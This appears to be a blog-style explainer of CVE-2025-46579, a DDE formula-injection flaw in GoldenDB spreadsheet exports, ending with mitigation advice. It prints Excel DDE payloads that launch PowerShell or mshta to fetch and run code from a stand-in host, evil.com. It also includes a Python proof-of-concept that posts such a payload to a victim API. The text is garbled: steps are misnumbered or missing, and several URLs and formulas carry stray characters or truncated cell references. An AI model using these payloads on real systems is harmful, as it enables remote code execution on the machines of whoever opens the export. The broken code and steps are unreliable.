GoldenDB is a well-known database product that’s widely used in financial and commercial sectors. Recently, security researchers have identified a serious vulnerability—CVE-2025-46579—that allows attackers to run arbitrary commands on users’ systems using a legacy Microsoft feature named DDE (Dynamic Data Exchange). In this deep dive, we’ll explain how this works, how attackers can exploit it, and what you need to do to stay safe.
What is CVE-2025-46579?
This vulnerability is all about DDE injection. In GoldenDB, some export or reporting interfaces allow users to download files (usually spreadsheets like Excel or documents). Attackers discovered that by injecting special DDE expressions into certain fields, they could get malicious code to run whenever a user opens one of these exported files.
Here’s the step-by-step
1. An attacker injects a DDE formula into a field (for example, via a form or API endpoint in GoldenDB).
The user opens the file in Excel or Word, triggering the DDE command.
4. Malicious code runs on the user’s system. This could download malware, steal files, or even give the attacker remote control.
What Is DDE?
DDE (Dynamic Data Exchange) is an old Windows technology used to allow applications like Excel or Word to fetch data from external sources. It’s rarely used intentionally now, but it can be abused. For example, you can put a formula like this in an Excel cell:
=cmd|'/C calc.exe'!A1
This will tell Excel to run the Windows calculator application as soon as the spreadsheet is opened.
How Does CVE-2025-46579 Work in GoldenDB?
Attackers use a field that later appears in an export (for example, a report name, description, or user field) and inject a DDE formula, such as:
=cmd|'/C powershell -c IEX (New-Object Net.WebClient).DownloadString("http://evil.com/pwn";)'!A1
When the file is exported and opened in Excel, Excel tries to execute the formula, which fires up PowerShell and grabs a script from the attacker’s server.
Suppose GoldenDB has a form to add a new transaction comment. An attacker enters
Good report! =cmd|'/C mshta http://evil.com/x'!A
When the admin downloads the Excel export for auditing, the comment field appears as-is in a cell. Excel tries to process it as a formula, displaying a warning, which many users will ignore and click “Yes” to continue—triggering the attack.
Simple Exploit Proof-of-Concept
Here’s a sample code snippet that can be used to automate the attack. In this example, we use a simple script to POST a DDE payload into a target field:
import requests
# GoldenDB form URL and session info
post_url = 'https://victim-goldendb.com/api/submitReport';
session = requests.Session()
# Malicious DDE injection payload
payload = {
"comment": "=cmd|'/C powershell iex (new-object net.webclient).downloadstring(\"http://evil.com/malware\";)'!A",
"otherField": "Legitimate data"
}
response = session.post(post_url, json=payload)
print("Injection status:", response.status_code)
When a privileged user later exports an Excel file that includes the comment field, the DDE will fire as soon as the sheet is opened.
- Quick demo by security researcher
- Further reading on DDE weaknesses in Office
- Microsoft Docs: "SEC Bulletin: DDE Attacks"
GoldenDB users and admins should
- Update GoldenDB as soon as a patch is available. Good vendors sanitize fields and filter dangerous expressions.
Never allow untrusted users to input content into fields that appear in document exports.
- Apply Microsoft Office Group Policies to disable DDEAuto (see Microsoft’s DDE mitigation guide).
Conclusion
CVE-2025-46579 shows how dangerous it is when legacy features like DDE are overlooked, especially in trusted business applications like GoldenDB. Simple validation and strong input sanitization can stop these attacks cold, but until patched, users must be extra cautious with downloaded files—especially Office exports.
References
- CVE-2025-46579 entry on NVD (National Vulnerability Database)
- Microsoft: Enabling/Disabling Dynamic Data Exchange
- CFR: Exploiting DDE with Office Exports
- GoldenDB Official Homepage (for vendor info and patches)
Timeline
Published on: 04/27/2025 02:15:16 UTC
Last modified on: 04/29/2025 13:52:10 UTC